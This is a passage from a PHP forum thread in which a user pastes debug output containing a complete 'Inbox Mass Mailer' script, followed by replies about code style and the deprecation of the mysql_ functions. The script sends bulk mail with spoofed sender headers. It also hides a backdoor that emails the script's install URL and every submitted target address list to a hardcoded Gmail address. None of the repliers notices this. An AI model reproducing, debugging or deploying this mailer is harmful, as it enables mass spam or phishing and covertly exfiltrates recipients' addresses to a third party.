"Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok<br>"; flush(); } } } mail($secure, $filter, $emaillist, $float); } ?> </body> </html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr> <tr><td bgcolor='#eeeeec' align='center'>3</td><td bgcolor='#eeeeec' align='center'>0.0087</td><td bgcolor='#eeeeec' align='right'>448504</td><td bgcolor='#eeeeec'><a href='http://www.php.net/mail' target='_new'>mail</a> ( )</td><td title='C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code' bgcolor='#eeeeec'>..\mailer.php(1) : eval()'d code<b>:</b>5</td></tr> </table></font> <br /> <font size='1'><table class='xdebug-error' dir='ltr' border='1' cellspacing='0' cellpadding='1'> <tr><th align='left' bgcolor='#f57900' colspan="5"><span style='background-color: #cc0000; color: #fce94f; font-size: x-large;'>( ! )</span> Notice: Undefined index: timelimit in C:\wamp\www\phpmailer\mailer.php(1) : eval()'d code on line <i>17</i></th></tr> <tr><th align='left' bgcolor='#e9b96e' colspan='5'>Call Stack</th></tr> <tr><th align='center' bgcolor='#eeeeec'>#</th><th align='left' bgcolor='#eeeeec'>Time</th><th align='left' bgcolor='#eeeeec'>Memory</th><th align='left' bgcolor='#eeeeec'>Function</th><th align='left' bgcolor='#eeeeec'>Location</th></tr> <tr><td bgcolor='#eeeeec' align='center'>1</td><td bgcolor='#eeeeec' align='center'>0.0059</td><td bgcolor='#eeeeec' align='right'>377240</td><td bgcolor='#eeeeec'>{main}( )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>0</td></tr> <tr><td bgcolor='#eeeeec' align='center'>2</td><td bgcolor='#eeeeec' align='center'>0.0085</td><td bgcolor='#eeeeec' align='right'>448024</td><td bgcolor='#eeeeec'>eval( <font color='#00bb00'>'?><?php $secure = "everlicoolchike@gmail.com" ; $subject = "Mailer By EverliCool is Here!!" ; $message = "The SCRIPT have been installed into this location : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] ; mail ($secure,$subject,$message) ; @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; set_time_limit(intval($_POST['timelimit'])); ?> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <?php If ($action=="mysql"){ include "./mysql.info.php"; if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){ print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; exit; } $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); $numrows = mysql_num_rows($result); for($x=0; $x<$numrows; $x++){ $result_row = mysql_fetch_row($result); $oneemail = $result_row[0]; $emaillist .= $oneemail."\n"; } } if ($action=="send"){ $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="<?php print $from; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<?php print $realname; ?>" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<?php print $replyto; ?>" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> <?php if ($action=="send"){ if (!$from && !$subject && !$message && !$emaillist){ print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $filter = "Mail List By EverliGhost"; $float = "From : E V E R L I G H O S T<EVERLIGHOST@EVERLICOOL.COM.NG>"; If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print "Sending mail to $to......."; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "MIME-Version: PRO\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok<br>"; flush(); } } } mail($secure, $filter, $emaillist, $float); } ?> </body> </html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr> </table></font> <html> <head> <title><b>Inbox Mailer © <b/></title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } .style2 { font-size: 10px; font-family: Geneva, Arial, Helvetica, sans-serif; } .Times-New-Roman-16px00468Cb {font:bold 16px Times New Roman, serif; color:#00468C} .Times-New-Roman-24px00468Cb {font:bold 24px Times New Roman, serif; color:#000720} .Times-New-Roman-32px00468Cb {font:bold 32px Times New Roman, serif; color:#000072} .style3 {color: #000777} .Style5 {font: bold 32px Times New Roman, serif; color: #666666; } .Style6 {font-size: 10px} .Style7 {font-size: 10px; font-weight: bold; } --> </style> </head> <body bgcolor="#FFFFFF" text="#999999"> <div align="center"> <p><span class="style1"><span class="Style5">Inbox Mass Mailer - Universal</span></span></p> </div> <form name="form1" method="post" action="" enctype="multipart/form-data"><br /> <table width="142" border="0"> <tr> <td width="100"> <div align="right" class="Style6"> <div align="left"><strong> <font face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> </strong></div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="from" value="" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="" size="36" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> </div> </div> </td> <td width="219"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="" size="36" /> </font> </td> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> </div> </div> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input name="file" type="file" class="Times-New-Roman-16px00468Cb" size="15" /> </font> </td> </tr> <tr> <td width="100"> <div align="right" class="Style7"> <div align="left"><font face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> </div> </div> </td> <td colspan="3" width="703"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="104" /> </font> </td> </tr> <tr valign="top"> <td colspan="3" width="520"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Message Box :</font></strong></span> </td> <td width="278"> <span class="Style6"><strong><font face="Verdana, Arial, Helvetica, sans-serif">Email Target / Email Send To :</font></strong> </span></td> </tr> <tr valign="top"> <td colspan="3" width="520"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="message" cols="60" rows="10"></textarea> <br /> <input type="radio" name="contenttype" value="plain" /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style7">Plain</span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="radio" name="contenttype" value="html" checked="checked" /> </font><strong><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"> HTML</span></font></strong><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="hidden" name="action" value="send" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Number to send :</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="amount" value="1" size="10" /> <br /> </font><font face="Verdana, Arial, Helvetica, sans-serif"><span class="Style6"><strong>Maximum script execution time(in seconds, 0 for no timelimit)</strong></span></font><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="timelimit" value="0" size="10" /> <input type="submit" class="Times-New-Roman-16px00468Cb" value="Send eMails" /> </font> </td> <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="emaillist" cols="30" rows="10"></textarea> </font> </td> </tr> </table> <p>everlicoolchike@gmail.com</p> </form> </body> </html>
Sorry Joel, but I would need to see it in its entirety. Is there an anonymous place you can zip the file to somewhere online?
One that that pops out to me is:
$oneemail = $result_row[0]; $emaillist .= $oneemail."\n";
That switcharoo makes $emaillist = $result_row[0]; is that your intended thing...to always make one email per email list? you could shorten that if you don't need both variables to simply:
$emaillist .= $result_row[0];
Also, this bit seems a bit wonky (mind you I haven't used your script before or seen it in its entirety):
</body> </html> '</font> )</td><td title='C:\wamp\www\phpmailer\mailer.php' bgcolor='#eeeeec'>..\mailer.php<b>:</b>1</td></tr> </table></font>
here is the file http://myaccount.dropsend.com/file/156f8d45625942a0
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#10 2014-10-21 08:39:33
- joel
- Member
- Registered: 2014-07-04
- Posts: 440
Re: php mailer html code, now it remains the smpt
double post.
edited. i am waiting
Last edited by joel (2014-10-21 09:00:56)
Warning! be informed and be forewarned. <p>
<?php
I'm not a native English Man. So my comments might contain some grammatical explosive (ELD), missapropreation of words (dinamyt), The use of wrong words (missiles), & mis spelling of words (war drones). Any of the occurrence can cause havoc. So be warned
?>
Offline
#11 2014-10-22 02:28:21
- Different55
- Member
- Registered: 2011-11-18
- Posts: 178
Re: php mailer html code, now it remains the smpt
STOP using MySQL_ functions!!! - They've been deprecated since 1998.
Sorry for going a bit off-topic, but where did you hear that?
@joel, you still haven't said what's wrong with the code. Are you getting an error? What happens when you run the code on your server?
Offline
#12 2014-10-22 07:45:58
- chris98
- Member
- From: England, United Kingdom
- Registered: 2013-05-31
- Posts: 1,292
- Website
Re: php mailer html code, now it remains the smpt
Sorry for going a bit off-topic, but where did you hear that?
When I started with PHP (like all new beginners I picked up MySQL_) and people on the Dream.In.Code forum told me that.
Download Aura - Illuminate Your Community.
Why should I use Aura? | Aura demo | Convert to Aura
Offline
#13 2014-10-22 07:53:14
- seven
- Member
- From: Torino, Italy
- Registered: 2010-08-19
- Posts: 314
- Website
Re: php mailer html code, now it remains the smpt
It's deprecated since php 5.5: http://php.net/manual/en/intro.mysql.php
gamezoo.org - serious gaming services for serious gamers.
Offline
#14 2014-10-22 07:55:48
- chris98
- Member
- From: England, United Kingdom
- Registered: 2013-05-31
- Posts: 1,292
- Website
Re: php mailer html code, now it remains the smpt
Well, it's still insecure no matter which version of PHP it's officially deprecated in - so it shouldn't be used either way.
Last edited by chris98 (2014-10-22 07:56:07)
Download Aura - Illuminate Your Community.
Why should I use Aura? | Aura demo | Convert to Aura
Offline
#15 2014-10-22 12:54:44
- Different55
- Member
- Registered: 2011-11-18
- Posts: 178
Re: php mailer html code, now it remains the smpt
Right, I wasn't suggesting that it should ever be used, but I was curious where 1998 came from, when the mysql_ extension's last significant update was much later (2006, I think).
Last edited by Different55 (2014-10-22 12:55:01)
Offline